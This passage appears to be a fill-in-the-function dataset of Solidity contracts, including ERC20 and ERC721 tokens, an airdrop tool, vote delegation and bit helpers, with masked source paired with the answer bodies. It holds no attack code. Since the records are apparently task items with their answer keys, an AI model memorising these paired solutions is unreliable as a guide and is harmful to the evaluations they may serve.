return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/* - Constructor Helpers - */
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address token0,
address token1
)
internal
pure
returns (address pair)
{
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(
address tokenA,
address tokenB
)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
/* -- Rebase helpers -- */
/**
* @notice Adds a transaction that gets called for a downstream receiver of rebases
* @param destination Address of contract destination
* @param data Transaction data payload
*/
function addTransaction(address destination, bytes calldata data)
external
onlyGov
{
transactions.push(Transaction({
enabled: true,
destination: destination,
data: data
}));
}
/**
* @param index Index of transaction to remove.
* Transaction ordering may have changed since adding.
*/
function removeTransaction(uint index)
external
onlyGov
{
require(index < transactions.length, "index out of bounds");
if (index < transactions.length - 1) {
transactions[index] = transactions[transactions.length - 1];
}
transactions.length--;
}
/**
* @param index Index of transaction. Transaction ordering may have changed since adding.
* @param enabled True for enabled, false for disabled.
*/
function setTransactionEnabled(uint index, bool enabled)
external
onlyGov
{
require(index < transactions.length, "index must be in range of stored tx list");
transactions[index].enabled = enabled;
}
/**
* @dev wrapper to call the encoded transactions on downstream consumers.
* @param destination Address of destination contract.
* @param data The encoded data payload.
* @return True on success
*/
function externalCall(address destination, bytes memory data)
internal
returns (bool)
{
bool result;
assembly { // solhint-disable-line no-inline-assembly
// "Allocate" memory for output
// (0x40 is where "free memory" pointer is stored by convention)
let outputAddress := mload(0x40)
// First 32 bytes are the padded length of data, so exclude that
let dataAddress := add(data, 32)
result := call(
// 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB)
// + callValueTransferGas (9000) + callNewAccountGas
// (25000, in case the destination address does not exist and needs creating)
sub(gas, 34710),
destination,
0, // transfer value in wei
dataAddress,
mload(data), // Size of the input, in bytes. Stored in position 0 of the array.
outputAddress,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
} |
if (isToken0) {
if (offPegPerc >= 10**17) {
// cap slippage
return token0.mul(maxSlippageFactor).div(10**18);
} else {
// in the 5-10% off peg range, slippage is essentially 2*x (where x is percentage of pool to buy).
// all we care about is not pushing below the peg, so underestimate
// the amount we can sell by dividing by 3. resulting price impact
// should be ~= offPegPerc * 2 / 3, which will keep us above the peg
//
// this is a conservative heuristic
return token0.mul(offPegPerc / 3).div(10**18);
}
} else {
if (offPegPerc >= 10**17) {
return token1.mul(maxSlippageFactor).div(10**18);
} else {
return token1.mul(offPegPerc / 3).div(10**18);
}
}
| function uniswapMaxSlippage(
uint256 token0,
uint256 token1,
uint256 offPegPerc
)
internal
view
returns (uint256)
| function uniswapMaxSlippage(
uint256 token0,
uint256 token1,
uint256 offPegPerc
)
internal
view
returns (uint256)
|
75605 | TokenERC20 | TokenERC20 | contract TokenERC20 {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {<FILL_FUNCTION_BODY> }
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
} | contract TokenERC20 {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
<FILL_FUNCTION>
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
} |
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
| function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public | function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public |
62357 | JOBTokenMultiDrop | multiDropSameQty | contract JOBTokenMultiDrop is Owned{
// Withdraw Tokens from JOBTokenMultiDrop Contract
function withdrawTokens(address tokenContractAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenContractAddress).transfer(msg.sender, tokens);
}
function multiDropSameQty(address tokenContractAddress, uint tokens, address[] userAddresses) public onlyOwner
{
for (uint i=0; i<userAddresses.length; i++) {
ERC20Interface(tokenContractAddress).transfer(userAddresses[i], tokens);
}
}
function multiDropSameQty(address tokenContractAddress, uint[] tokens, address[] userAddresses) public onlyOwner
{<FILL_FUNCTION_BODY> }
} | contract JOBTokenMultiDrop is Owned{
// Withdraw Tokens from JOBTokenMultiDrop Contract
function withdrawTokens(address tokenContractAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenContractAddress).transfer(msg.sender, tokens);
}
function multiDropSameQty(address tokenContractAddress, uint tokens, address[] userAddresses) public onlyOwner
{
for (uint i=0; i<userAddresses.length; i++) {
ERC20Interface(tokenContractAddress).transfer(userAddresses[i], tokens);
}
}
<FILL_FUNCTION>
} |
for (uint i=0; i<userAddresses.length; i++) {
ERC20Interface(tokenContractAddress).transfer(userAddresses[i], tokens[i]);
}
| function multiDropSameQty(address tokenContractAddress, uint[] tokens, address[] userAddresses) public onlyOwner
| function multiDropSameQty(address tokenContractAddress, uint[] tokens, address[] userAddresses) public onlyOwner
|
7082 | Collectables | transferFrom | contract Collectables is ERC721Full("GU Collectable", "TRINKET"), Ownable {
using Strings for string;
// delegate item specific storage/logic to other contracts
// one main contract manages transfers etc
mapping(uint32 => address) public delegates;
// use uint32s instead of addresses to reduce the storage size needed
// individual token properties should be stored in the delegate contract
uint32[] public collectables;
uint public delegateCount;
event DelegateAdded(address indexed delegate, uint32 indexed delegateID);
function addDelegate(address delegate) public onlyOwner {
uint32 delegateID = uint32(delegateCount++);
// should never happen, but check anyway
require(delegates[delegateID] == address(0), "delegate is already set for collectable type");
delegates[delegateID] = delegate;
emit DelegateAdded(delegate, delegateID);
}
function mint(uint32 delegateID, address to) public returns (uint) {
Delegate delegate = getDelegate(delegateID);
require(delegate.mint(msg.sender, to), "delegate could not mint token");
uint id = collectables.push(delegateID) - 1;
super._mint(to, id);
return id;
}
function transferFrom(address from, address to, uint256 tokenId) public {<FILL_FUNCTION_BODY> }
function approve(address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.approve(msg.sender, to, tokenId), "could not approve token");
super.approve(to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId, data), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId, data);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId);
}
function getTokenDelegate(uint id) public view returns (Delegate) {
address d = delegates[collectables[id]];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
function getDelegate(uint32 id) public view returns (Delegate) {
address d = delegates[id];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
string public constant tokenMetadataBaseURI = "https://api.godsunchained.com/collectable/";
function tokenURI(uint256 _tokenId) public view returns (string memory) {
require(_exists(_tokenId), "token doesn't exist");
return Strings.strConcat(
tokenMetadataBaseURI,
Strings.uint2str(_tokenId)
);
}
} | contract Collectables is ERC721Full("GU Collectable", "TRINKET"), Ownable {
using Strings for string;
// delegate item specific storage/logic to other contracts
// one main contract manages transfers etc
mapping(uint32 => address) public delegates;
// use uint32s instead of addresses to reduce the storage size needed
// individual token properties should be stored in the delegate contract
uint32[] public collectables;
uint public delegateCount;
event DelegateAdded(address indexed delegate, uint32 indexed delegateID);
function addDelegate(address delegate) public onlyOwner {
uint32 delegateID = uint32(delegateCount++);
// should never happen, but check anyway
require(delegates[delegateID] == address(0), "delegate is already set for collectable type");
delegates[delegateID] = delegate;
emit DelegateAdded(delegate, delegateID);
}
function mint(uint32 delegateID, address to) public returns (uint) {
Delegate delegate = getDelegate(delegateID);
require(delegate.mint(msg.sender, to), "delegate could not mint token");
uint id = collectables.push(delegateID) - 1;
super._mint(to, id);
return id;
}
<FILL_FUNCTION>
function approve(address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.approve(msg.sender, to, tokenId), "could not approve token");
super.approve(to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId, data), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId, data);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.safeTransferFrom(msg.sender, from, to, tokenId), "could not safe transfer token");
super.safeTransferFrom(from, to, tokenId);
}
function getTokenDelegate(uint id) public view returns (Delegate) {
address d = delegates[collectables[id]];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
function getDelegate(uint32 id) public view returns (Delegate) {
address d = delegates[id];
require(d != address(0), "invalid delegate");
return Delegate(d);
}
string public constant tokenMetadataBaseURI = "https://api.godsunchained.com/collectable/";
function tokenURI(uint256 _tokenId) public view returns (string memory) {
require(_exists(_tokenId), "token doesn't exist");
return Strings.strConcat(
tokenMetadataBaseURI,
Strings.uint2str(_tokenId)
);
}
} |
Delegate delegate = getTokenDelegate(tokenId);
require(delegate.transferFrom(msg.sender, from, to, tokenId), "could not transfer token");
super.transferFrom(from, to, tokenId);
| function transferFrom(address from, address to, uint256 tokenId) public | function transferFrom(address from, address to, uint256 tokenId) public |
14599 | BitOpterations | set512 | contract BitOpterations {
// helper functions set
// to manipulate on bits
// with different widht of allocator
function set512(bytes32[2] storage allocator,uint16 pos,uint8 value) internal returns( bytes32[2] storage) {<FILL_FUNCTION_BODY> }
function get512(bytes32[2] allocator,uint16 pos) internal pure returns(uint8){
uint8 posOffset = uint8(pos%255);
uint8 bytesIndex = pos>255?1:0;
return (((allocator[bytesIndex] >> posOffset) & 1) == 1)?1:0;
}
function clear512(bytes32[2] storage allocator) internal {
allocator[0] = 0x0;
allocator[1] = 0x0;
}
function set32(bytes4 allocator,uint8 pos, uint8 value) internal pure returns(bytes4) {
bytes4 valueBits = (bytes4)(value);
bytes4 one = 1;
bytes4 clearBit = (bytes4)(~(one << pos));
allocator = (allocator & clearBit) | (valueBits << pos);
return allocator;
}
function get32(bytes4 allocator,uint8 pos) internal pure returns(uint8){
return (((allocator >> pos) & 1) == 1)?1:0;
}
} | contract BitOpterations {
<FILL_FUNCTION>
function get512(bytes32[2] allocator,uint16 pos) internal pure returns(uint8){
uint8 posOffset = uint8(pos%255);
uint8 bytesIndex = pos>255?1:0;
return (((allocator[bytesIndex] >> posOffset) & 1) == 1)?1:0;
}
function clear512(bytes32[2] storage allocator) internal {
allocator[0] = 0x0;
allocator[1] = 0x0;
}
function set32(bytes4 allocator,uint8 pos, uint8 value) internal pure returns(bytes4) {
bytes4 valueBits = (bytes4)(value);
bytes4 one = 1;
bytes4 clearBit = (bytes4)(~(one << pos));
allocator = (allocator & clearBit) | (valueBits << pos);
return allocator;
}
function get32(bytes4 allocator,uint8 pos) internal pure returns(uint8){
return (((allocator >> pos) & 1) == 1)?1:0;
}
} |
bytes32 valueBits = (bytes32)(value);
uint8 posOffset = uint8(pos%255);
bytes32 one = 1;
bytes32 clearBit = (bytes32)(~(one << posOffset));
uint8 bytesIndex = pos>255?1:0;
allocator[bytesIndex] = (allocator[bytesIndex] & clearBit) | (valueBits << posOffset);
return allocator;
| function set512(bytes32[2] storage allocator,uint16 pos,uint8 value) internal returns( bytes32[2] storage) | // helper functions set
// to manipulate on bits
// with different widht of allocator
function set512(bytes32[2] storage allocator,uint16 pos,uint8 value) internal returns( bytes32[2] storage) |
27463 | ERC20Governance | delegateBySig | contract ERC20Governance is ERC20, ERC20Detailed {
using SafeMath for uint256;
function _transfer(address from, address to, uint256 amount) internal {
_moveDelegates(_delegates[from], _delegates[to], amount);
super._transfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal {
_moveDelegates(address(0), _delegates[account], amount);
super._mint(account, amount);
}
function _burn(address account, uint256 amount) internal {
_moveDelegates(_delegates[account], address(0), amount);
super._burn(account, amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{<FILL_FUNCTION_BODY> }
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "ERC20Governance::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying ERC20Governances (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "ERC20Governance::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | contract ERC20Governance is ERC20, ERC20Detailed {
using SafeMath for uint256;
function _transfer(address from, address to, uint256 amount) internal {
_moveDelegates(_delegates[from], _delegates[to], amount);
super._transfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal {
_moveDelegates(address(0), _delegates[account], amount);
super._mint(account, amount);
}
function _burn(address account, uint256 amount) internal {
_moveDelegates(_delegates[account], address(0), amount);
super._burn(account, amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
<FILL_FUNCTION>
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "ERC20Governance::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying ERC20Governances (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "ERC20Governance::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} |
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "ERC20Governance::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "ERC20Governance::delegateBySig: invalid nonce");
require(now <= expiry, "ERC20Governance::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
| function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
| /**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
|
90807 | Jingle | ownerOf | contract Jingle is Ownable, ERC721 {
struct MetaInfo {
string name;
string author;
}
mapping (uint => address) internal tokensForOwner;
mapping (uint => address) internal tokensForApproved;
mapping (address => uint[]) internal tokensOwned;
mapping (uint => uint) internal tokenPosInArr;
mapping(uint => uint[]) internal samplesInJingle;
mapping(uint => MetaInfo) public jinglesInfo;
mapping(bytes32 => bool) public uniqueJingles;
mapping(uint => uint[]) public soundEffects;
uint public numOfJingles;
address public cryptoJingles;
Marketplace public marketplaceContract;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event EffectAdded(uint indexed jingleId, uint[] effectParams);
event Composed(uint indexed jingleId, address indexed owner,
uint[5] samples, uint[5] jingleTypes, string name, string author);
modifier onlyCryptoJingles() {
require(msg.sender == cryptoJingles);
_;
}
function Jingle() public {
}
function transfer(address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(tokensForOwner[_jingleId] == msg.sender);
tokensForApproved[_jingleId] = 0x0;
removeJingle(msg.sender, _jingleId);
addJingle(_to, _jingleId);
Approval(msg.sender, 0, _jingleId);
Transfer(msg.sender, _to, _jingleId);
}
function approve(address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(ownerOf(_jingleId) == msg.sender);
require(_to != msg.sender);
if (_getApproved(_jingleId) != 0x0 || _to != 0x0) {
tokensForApproved[_jingleId] = _to;
Approval(msg.sender, _to, _jingleId);
}
}
function transferFrom(address _from, address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(_getApproved(_jingleId) == msg.sender);
require(ownerOf(_jingleId) == _from);
require(_to != 0x0);
tokensForApproved[_jingleId] = 0x0;
